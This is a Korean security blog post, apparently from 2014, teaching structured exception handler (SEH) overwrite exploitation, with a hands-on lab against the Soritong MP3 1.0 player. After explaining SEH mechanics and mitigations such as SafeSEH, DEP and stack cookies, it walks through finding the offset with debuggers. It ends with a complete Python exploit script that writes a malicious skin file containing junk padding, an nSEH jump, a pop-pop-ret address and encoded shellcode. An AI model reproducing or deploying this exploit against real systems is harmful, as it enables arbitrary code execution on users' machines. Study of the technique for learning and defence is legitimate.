Be myself :: SEH overwriting

달력

42024  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

SEH overwriting

Exploit 2014. 7. 10. 22:10

1 SEH 오버플로 개요

일단 예외처리를 프로그램에서 했을 때, 스택상에서 어떻게 SEH가 어디에 위치하는지 간략하게 그림으로 확인해 보자.

이 정도만 보아도 대충 어떻게 Seh를 공격벡터로 이용하는지 입질이 슬슬 온다. 대충 오버플로 일으켜서 예외처리기 주소값에 쉘코드의 주소값을 넣은 후, 의도적으로 예외상황을 만들면 예외 핸들러주소 값으로 점프하게 되는데 그럼 쉘코드가 있는곳으로 eip가 조작되어 공격 성공하게 된다.

참고로 기본 seh 구동 메커니즘을 설명하자면, 오류가 발생되면 os는 해당 어플리케이션에서 TEB의 첫번째 요소(FS:[0])를 찾아 예외 핸들러의 주소값을 찾는다.( TEB는 쓰레드당 각각 하나씩 가지고 있는 블락이다. TEB가 PEB에 속하기 때문이다. 이에 대해 좀더 깊게 이해하려면 os커널에 대한 기본지식이 필요하기 때문에 os관련 서적을 참고하기 바란다.) 그러나 예외상황을 만족하는 예외 핸들러의 주소값이 없다면, os는 자체적인 예외처리를 하는데 프로그램을 종료시키는 것이다.

2 주의점

1 window xp sp1이후
예외핸들러가 실행되기 전에 모든 레지스터들이 xor연산되어 핸들러가 실행된다. 따라서 공격 페이로드를 작성할 시 주의하여야 한다.


2 window xp sp2이후
DEP와 스택쿠키가 도입되어 이 또한 유의하여야 한다.


3 safeSEH
컴파일 시 /SafeSEH옵션을 주면 활성화 되는데, seh공격을 막기위한 추가적인 보호 매커니즘이다.

3 기법 우회

DEP와 스택쿠키는 다음에 얘기할 기회가 있을 것이다. 우선 지금은 SafeSEH와 레지스터 xor연산 하는 것을 우회할 것이다. 그 방법은, 예외 핸들러가 실행 될 때 넘어가는 두번 째 인자가 다음 예외 핸들러의 주소값을 나타 낸다는 것이다. 우선 예외 핸들러가 등록됬을 때 어떻게 되는지 확인 해 보자.

위 글을 잘 읽어보면 이해가 갈 것이다. 의도적으로 예외를 발생 시키고, 예외 핸들러는 pop, pop, ret을 실행한다. 그 때, 처음에서 esp+8 부분이 다음 seh레코드 주소를 가르키는데, 이 부분으로 점프하게 된다. 그렇다면 다음 SEH레코드 부분에 우리의 쉘코드가 위치한 주소값을 넣어놓으면, 공격이 성공하게 된다.

4 실습

그럼 지금까지 살펴 본 내용들을 Soritong mp3 1.0을 활용한 실습을 통해 알아 보자.

이 프로그램은 Skin파일을 불러올 때 오버플로우 취약점이 존재한다. 따라서 다음과 같이 코드를 짜서 UI.txt를 /Skin/Default에 넣자.

f = open("UI.txt","w")
junk = "A"*5000
f.write(junk)
print("write success!")
f.close

그리고 실행시키면 SEH까지 덮어버렸기 때문에 아무 반응 없이 종료될 것이다.

그럼 올리디버거를 이용해 확인 해 보자.

SEH가 덮혀서 eip가 바뀐 것을 확인 할 수 있다.

이번엔 winDbg로 확인해 보자.

에러가 뜬다. 정확한 분석을 위해 !analyze -v명령어를 통해 자세히 알아보자.

예외처리가 0xffffffff 부분에서 이루어 졌다. 그 말은 오버플로우 처리가 OS 예외핸들러에 의해 처리 되었다는 말이다. 그럼, 어플리케이션 예외처리 루틴은 없었나 확인해 보기 위해 TEB덤프를 떠보자.

12fd64가 첫 번째 SEH이다. 결국 어플리케이션 계층의 seh핸들러가 존재 하였고, 이 부분이 AAAA로 덮였기 때문에 OS의 SEH가 실행된 것이라 생각할 수 있다.

자, 지금까지 이 프로그램이 SEH공격이 가능한지 여부를 살펴 보았고 가능하다는 결론을 얻었으므로, 우리에게 필요한 정보는 seh까지의 오프셋과 셸코드가 필요하다. 그 다음엔 [A junk][nSEH](이 부분은 셸코드로 점프하는 코드가 들어간다)[seh handler](pop pop ret)[Shell code]로 페이로드를 작성하면 끝이다.

그럼 앞에서도 살펴 보았듯이 메타스플로잇을 이용해 패턴을 만들고 seh의 오프셋을 확인한다.

41367441은 리틀엔디안으로 표현하면 41 47 36 41이고 아스키코드로 표현하면 At6A이다 그러므로 오프셋을 확인해 보면 588임을 알 수 있다. 따라서 A를 584개를 넣으면 된다.

다음 nSEH부분은 대충 nSEH에서 6byte만큼 jmp하면 셸코드에 도달하므로 그에 맞는 어셈블리를 짜서 확인해 보면 0xeb, 0x06, 0x90, 0x90이 된다.

이제 남은 부분은 SEH핸들러 부분인데 pop pop ret부분을 확인한다.

Dll도 어플리케이션에 종속적인 걸 이용한다. OS에 종속적인 kernel32.dll등을 이용하면 다른 OS버전에선 로드메모리가 다르게 올라 갈 수 있으므로 그렇다. 물론 어플리케이션 dll도 100%확실한 공격이 되는건 아닌데, 그나마 안정적이다.

0x100106fb부분을 이용하기로 한다.

다음과 같이 코드를 짠다..

import struct

f =open("UI.txt","w") junk ="A"*584 nSEH ="\xeb\x06\x90\x90" SEH= struct.pack('<I',0x100106fb) SHELL ="\x90"*25+"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"+ "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"+                  "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"+ "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"+                  "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"+ "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"+              "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"+ "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"+              "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"+      "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"+                  "\x7f\xe8\x7b\xca" junk2 = "A"*1500 f.write(junk + nSEH + SEH + SHELL+junk2) f.close

끝..!

'Exploit' 카테고리의 다른 글

C++에서 VTable  (0) 2014.07.12
여러 보호기법  (0) 2014.07.11
윈도우 BOF  (2) 2014.05.28
간단한 Shellcode 만들기  (0) 2014.05.05
FSB공격 정리  (0) 2014.05.04
Posted by flack3r
|